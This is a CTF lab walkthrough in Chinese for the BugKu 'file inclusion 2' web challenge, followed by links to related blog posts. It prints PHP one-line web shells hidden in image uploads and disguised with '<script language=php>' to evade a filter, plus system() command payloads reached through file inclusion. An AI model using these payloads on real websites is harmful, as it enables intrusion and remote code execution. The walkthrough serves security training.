BugKu Web渗透之 文件包含2

启动场景,打开网页,如下图所示。

步骤一:查看请求的数据。

发现响应中有一个upload.php的注释。

步骤二:访问upload.php

发现是一个文件上传的页面。

**步骤三:(方法一)**用菜刀或蚁剑连接,上传一句话木马。

1.测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

2.截图保存图片,之后在文件内容后添加一句话木马,上传提示成功,并显示了保存的路径。

一句话木马为:<?php @assert($_REQUEST'pass'); ?>

此时会显示上传成功,并返回上传路径。

3.根据上传地址访问文件。

index.php?file=upload/*****.png

网页显示内容如下:

发现<?php 和 ?> 被屏蔽。

4.重新写一句话木马,避开被屏蔽的字段。

把<?php用 <script language=php 代替,

<script language=php>eval($_POST'pass');</script>

5.蚁剑或者菜刀连接。

6.连接成功,之后文件列表中的根目录找到flag文件

双击打开,得到flag。

**步骤三:(方法二)**用冰蝎连接。

1.上传完整shell,php语言的,把其中的<?php 和 ?> 替换成<script language=php> 和</script>

2.新增Shell。

3.双击连接,基本信息页面显示这样就是连接成功了。

4.文件管理页面,查找flag,并双击显示。

**步骤三:(方法三)**使用系统命令去查看flag

1.尝试上传文件内容为:<script language=php>system("ls")</script>的文件,将文件后缀从txt改为png。

2.上传完成后,根据上传目录去查看,结果发现显示了文件目录。

但是ls是不显示文件的,于是我把ls 后加了参数-a,这样就能显示文件夹和文件了。

3.继续尝试 ls -a ..、 ls -a ../..、 ls -a ../../.. ,分别将这些内容替换上面的ls,之后文件上传,再查看上传文件的路径,显示内容依次为:

4.在最后一张图发现了flag字样,于是,<script language=php>system("cat ../../flag")</script>,同样是上传后,通过路径查看,最后显示flag。

其实这题还有一个更简单的方法,就是直接在file=后加上/flag,直接就显示flag了。但是一般来说,不会这么简单,所以我们还是得把思路和流程都走一遍。

相关推荐
不庸.9 小时前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
星云_byto10 小时前
CSS布局
人工智能·机器学习·目标跟踪·1024程序员节
FungLeo1 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
0xBADCODE2 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
张小姐的猫3 天前
【MySQL】访问 & 数据流动原理
android·数据库·mysql·adb·1024程序员节
迪康Defender4 天前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
工业HMI实战笔记4 天前
印刷电路板HMI:SMT贴装的元件定位界面
制造·设计规范·设计语言·1024程序员节
科技小登4 天前
出海高防CDN怎么选?CDN加速、边缘清洗与跨境回源POC指南
tcp/ip·web安全·ddos
Martina_03214 天前
AI生成3D模型一合并网格,材质就串色?用6步检查材质槽、UV与图集重映射
图像处理·人工智能·3d·材质·uv·游戏策划·1024程序员节
橙光成长4 天前
android-ad-cleaner:android免 Root 批量关闭系统开屏与营销推送
android·1024程序员节